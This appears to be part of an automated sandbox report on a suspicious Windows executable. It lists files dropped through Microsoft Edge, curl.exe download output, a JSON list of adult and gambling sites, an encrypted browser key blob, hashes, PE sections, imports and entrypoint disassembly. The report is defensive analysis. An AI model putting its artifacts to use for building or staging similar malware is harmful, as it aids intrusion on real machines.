Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MS Windows icon resource - 8 icons, 16x16, 32 bits/pixel, 20x20, 32 bits/pixel
Category:	dropped
Size (bytes):	71757
Entropy (8bit):	6.771708343960135
Encrypted:	false
SSDEEP:	1536:vAlMWz7vLDtDSVlXXwpFlorgLUxF+D4n6owPFCawP/:vvuWAUxFaoGw/
MD5:	E5E3377341056643B0494B6842C0B544
SHA1:	D53FD8E256EC9D5CEF8EF5387872E544A2DF9108
SHA-256:	E23040951E464B53B84B11C3466BBD4707A009018819F9AD2A79D1B0B309BC25
SHA-512:	83F09E48D009A5CF83FA9AA8F28187F7F4202C84E2D0D6E5806C468F4A24B2478B73077381D2A21C89AA64884DF3C56E8DC94EB4AD2D6A8085AC2FEB1E26C2EF
Malicious:	false
Preview:	............ .h............. ............... ......... .... .........((.... .h....%..00.... ..%..>@..@@.... .(B...e........ .?p......(....... ..... ..........................................w...x...y...v...j...c...\...N...........................w.<.w...y...x...]...P...M...N...N...N...M...H.<.............w.<.w...y...{...]...P...O...Q...R...P...O...N...K...H.<.........w...y...{...p...P...P...Q...S...Q...P..N...N..K...K.......w...y...{...\|...i...Q...P...S...R.......................I.W.....y...{...}.......c...Q...Q...U.W......3<..6.i.?.V.D.L.L.@.Q<.....{...}..........n...P...S............3.7...;.f.B.P.P.D.U.8.[W.}................P...P.s..........3...7...<.g.H.c.O.R.Y.?.].................u...J...........6..8...?...E.o.O.U.W.L._..............................$...7...@...J.o.O.b.].L.f..+..............................0...;...J...S.h.].X.e.../..0.................!.........2...<...G...P.i.g.Y.m.......1..2..0...0.......+......*...1...8...C...M.~.^.m.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4991
Entropy (8bit):	4.8507579925141595
Encrypted:	false
SSDEEP:	96:nsnz1acZ1BhPjzZwwiIMti+NmdeHPWPMVWQyV+VDCAimF:nstRpYI3+vx6U
MD5:	7EA232F8C9FC23A23AC1609DE77B695A
SHA1:	F915CAF641D7E4E43806DEDC5C8F03143B035B3F
SHA-256:	BB80199D6E71F789EA09B63861896E4FE4A37AF7658D7612FAE8B7DCD33F533C
SHA-512:	33844175396D335A1078BB6A64446CAB4FFAF6368C2E6B4FD16371DA58A6EB40A2BD84ED41983D69C067E1B2EF41FFA1BEEEE9D06F8BEAD265D68777B6109813
Malicious:	false
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13380823125528514","alternate_error_pages":{"backup":true},"autofill":{"orphan_rows_removed":true},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"window_placement":{"bottom":758,"left":10,"maximized":true,"right":1014,"top":10,"work_area_bottom":768,"work_area_left":0,"work_area_right":1024,"work_area_top":0}},"browser_content_container_height":665,"browser_content_container_width":1024,"browser_content_container_x":0,"browser_content_container_y":103,"countryid_at_install":21843,"custom_links":{"list":[]},"data_reduction":{"this_week_number":2870},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13380823125528441"},"download":{"default_directory":""},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_sitelist_location":"","consumer_sitelist_version":"","shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_e

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23768
Entropy (8bit):	5.593368852727954
Encrypted:	false
SSDEEP:	384:eTfCtHFFCKhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OVcnLlk9qC+rUARuapFIOIE:eDWHfC8F1+UoAYDCx9Tuqh0VfUC9xboE
MD5:	9035299339BA8048E2694A2C55F8E817
SHA1:	09B0185885D1788229588826CF2AEF105C8AC03A
SHA-256:	7D0ADC32DAD5C2DFFD7A1F8FE42D63CF2DD2A388FA499387E2C23447B99FFC9E
SHA-512:	EB243833447FEE767E6659C8B4100F352BD68A7BE31FC217BB07D605321745041CA8DF2F92D7BCF2E55F1A97A43628F525387D891A0A4D52FF31DC016ED3DB0B
Malicious:	false
Preview:	{"extensions":{"settings":{"ampmimodbocknpfehkbdjolnnbongejb":{"disable_reasons":1,"state":0},"dgiklkfkllikcanfonkcabmbdfmgleag":{"active_permissions":{"api":[],"manifest_permissions":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13380823124247101","location":5,"manifest":{"content_capabilities":{"include_globs":["https://excel.officeapps.live.com/","https://onenote.officeapps.live.com/","https://powerpoint.officeapps.live.com/","https://word-edit.officeapps.live.com/","https://excel.partner.officewebapps.cn/","https://onenote.partner.officewebapps.cn/","https://powerpoint.partner.officewebapps.cn/","https://word-edit.partner.officewebapps.cn/","https://excel.gov.online.office365.us/","https://onenote.gov.online.office365.us/","https://powerpoint.gov.online.office365.us/","https://word-edit.gov.online.office365.us/","htt

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.55492787511957
Encrypted:	false
SSDEEP:	3:2IiXTXl/lQn/lxEooWGW+n:2IiXjlm3+
MD5:	40B83D42F543E0C0A29DF330B90C4755
SHA1:	B4A81FDCA6843534FC2EC2C4B47293EA2FE4AD1B
SHA-256:	34A53F9EB7B645FC2F0D8D7B64F3FF35FA95C0632D35C09225B1011DA8BE2A6A
SHA-512:	C0C7EFFF62E62D0F0B4C76763972706C41285F256086F082588BCCEA16D2DB07FC95E1DDF3A02267696FF86A4154CD8A743863C76B2AD8612E0F2F664CD0B04D
Malicious:	false
Preview:	@....M0{oy retne.........................X....,.................../.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:gkhFjERgX:gkTwRgX
MD5:	478A71523EC0B1DF56FCEA36D3BF1BA3
SHA1:	A2A7DE593E199B90C2299914DFE9ECFABC0CCEEB
SHA-256:	21341FBCB24BE6FE0B1F4E05C5CB089BDB8F4D9BE021FF2D46CEFC12AECA7DAE
SHA-512:	D1F02C4028BC277C01AB9D3D3FBFFF45815C93B310BA69A28E74886B60E46AB11847B7B2B21432225EA640F59D5D6B6142EAF23FEBA318A0F6D03D1E899C5255
Malicious:	false
Preview:	(...}:).oy retne........................ME:../.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:A1H9EWtfPn:A5qqX
MD5:	5B7D72F76C3B4F75649141F73EB562B9
SHA1:	582F12BCBC55C3FEEEDDD0D4EF8CE5277EBC2B6F
SHA-256:	F5BEEB73219CC550BB4B5B6200A4A91E258E6FE650F12FBF54EFDD9B716F8AD7
SHA-512:	DC685FE2C7F66C6BE184107DABF7E236061E29F0039216905C2B53860D1E845D101C69F4DC6657C5298EE01DD8FDACAA6FB9B239C8F15694CA796CC743E4B054
Malicious:	false
Preview:	(....'0.oy retne........................J.:../.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	5.301660636076878
Encrypted:	false
SSDEEP:	48:YnOBhmo05fXz495z/v5lXUZdKvBIk6Rme4WnhJa:BjMfjOt/B0Yv+Pme4mhJa
MD5:	CDCF231B3F9864E6209B1ADA7AA80043
SHA1:	20519DDC3A91E6D39D3721D7B7F13EE176343D50
SHA-256:	26DA2E79513F66AAAC808A56BAFB260C5AB7515D199E748A3FEF24B06FC9890D
SHA-512:	D256C3EE065A831206AF6546641D75BB0AFF50725344AFAA8CF5793A62EC54D85454201ABD4B8397544ECB973BC8EFF4E17F4251C832C819F382AF424B006C15
Malicious:	false
Preview:	{"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADSLq1Bqd4SYdV0Xs4nBTvEAAAAAoAAABFAGQAZwBlAAAAEGYAAAABAAAgAAAADR8n/rSizQDkz5nvdp7hvK+BzbTr+2STiFwAjfozefAAAAAADoAAAAACAAAgAAAA5E+iNO6iLOl/rguullp7L0j2FkjzvYR6Szuqr7Dy0q8wAAAAn0PAliHPVwQUm3JZk5PGKW/bVQsdGCd6Up5QwM4CoF2UvP/ESoIvBNS/1P3vVzliQAAAALSxomEnSIszKcTtBahaebTrmN8LN71MIu3HgxDoAFYvfQVARUeqSZoiLWFOXS0uN40dV4qaojvHO0nBPaFy0iw="},"policy":{"last_statistics_update":"13380823123444840"},"profile":{"info_cache":{},"profile_counts_reported":"13380823122821391"},"profile_network_context_service":{"http_cache_finch_experiment_groups":"None None None"},"profiles":{"edge":{"implicit_signin":{"telemetry

\Device\ConDrv

Download File

Process:	C:\Intel\curl.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	320
Entropy (8bit):	3.3809786102486434
Encrypted:	false
SSDEEP:	6:I2swj2SAykymUeg/8Uni1qSgOgco88/KSgOgl1:Vz6ykymUexb1U9co8v9l1
MD5:	2EDA196878D29AE067C9D4D733AA34F9
SHA1:	ACC6A6740410C2C700DC5C597A1AA40676B1C192
SHA-256:	323CDF71F3A4546410DCBD550FC7E91C10F57849E16876B0CB84A5313049B2BB
SHA-512:	19AC3B0D698CE14B12DAE6047E46E868C0A44A6D08BE264D2036B94FB1D6807FB6E1EB0FD965D35E389BD7BB344185F111DBF905A09B7A7C7FEBFB2AE01FE52F
Malicious:	false
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0.100 4477 100 4477 0 0 9883 0 --:--:-- --:--:-- --:--:-- 9883..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.847096939033003
TrID:	Win32 Executable (generic) a (10002005/4) 99.24% InstallShield setup (43055/19) 0.43% Win32 Executable Delphi generic (14689/80) 0.15% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	eqRHH2whJu.exe
File size:	956'418 bytes
MD5:	685f86f41db34f2ec805449037aa32c9
SHA1:	8391ca015c12b166b806f196b04bb617b3d8d377
SHA256:	f18374fa790c5bbf7bc272c10a26f56db99b7d7eee08c986fa4bd20c3c455387
SHA512:	3f91b111430ce68f1c0f3a295becce51d44012f662c0acb01b404a2e459480db17dfbdaa394700c55344fb666e1f95c91259b33882e4a58af7411385deaa2229
SSDEEP:	24576:/X48QE+UMvlJSuoBa6xGuPAIV8D/6kN1betf2Zo0bKru:/Xz+KUM/ID6yBetOAi
TLSH:	7F150219A1022235D49357704CD7E22EF936FF58562AD8CBB6D83F099B331EA151A38F
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2564a4a6a5bfb5af

Static PE Info

General

Entrypoint:	0x425468
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b8494300a1f7342d4c600a7b12e15925

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00425388h
call 00007FC658C1B249h
mov eax, 004254C8h
call 00007FC658C1DC4Fh
mov edx, dword ptr [00428840h]
mov dword ptr [edx], eax
mov edx, dword ptr [00428840h]
mov edx, dword ptr [edx]
mov eax, dword ptr [00428848h]
call 00007FC658C39409h
mov edx, dword ptr [00428840h]
mov edx, dword ptr [edx]
mov eax, dword ptr [004287DCh]
call 00007FC658C3249Fh
mov eax, dword ptr [00428840h]
call 00007FC658C20ED1h
call 00007FC658C1A104h
add byte ptr [eax], al
add bh, bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b000	0x1798	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x31000	0x7734	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f000	0x1884	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2e000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x244cc	0x24600	bac8bae7a5e5326cf49943b90d1c062a	False	0.5598622744845361	data	6.594375997321255	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x26000	0x2894	0x2a00	abafcbfbd7f8ac0226ca496a92a0cf06	False	0.31556919642857145	Matlab v4 mat-file (little endian) , numeric, rows 0, columns 4230402	3.7937570409882295	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x29000	0x10f5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2b000	0x1798	0x1800	7a4934595db0efc364c3982c4e335d8c	False	0.3977864583333333	data	4.8854949370233145	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x2d000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2e000	0x18	0x200	c4fdd0c5c9efb616fcc85d66056ca490	False	0.05078125	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x2f000	0x1884	0x1a00	867a1120317d51734587a74f6ee70016	False	0.7889122596153846	data	6.586647864611828	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x31000	0x7734	0x7800	8cfdaa0ecd29084d5295eec60aebe0c2	False	0.44248046875	data	5.6884982329546645	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x31330	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.4391891891891892
RT_ICON	0x31458	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 832			0.7557339449541285
RT_ICON	0x317c0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640			0.2567204301075269
RT_ICON	0x31aa8	0xca8	Device independent bitmap graphic, 32 x 64 x 24, image size 3200			0.5694444444444444
RT_ICON	0x32750	0x1ca8	Device independent bitmap graphic, 48 x 96 x 24, image size 7296			0.4533805888767721
RT_ICON	0x343f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.6524822695035462
RT_ICON	0x34860	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.46810506566604126
RT_ICON	0x35908	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.4063278008298755
RT_RCDATA	0x37eb0	0x10	data			1.5
RT_RCDATA	0x37ec0	0x110	data			0.9044117647058824
RT_GROUP_ICON	0x37fd0	0x76	data			0.6864406779661016
RT_VERSION	0x38048	0x374	data	Russian	Russia	0.3246606334841629
RT_MANIFEST	0x383bc	0x376	XML 1.0 document, ASCII text, with CRLF line terminators	Russian	Russia	0.47404063205417607

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, WideCharToMultiByte, GetThreadLocale, GetStartupInfoA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
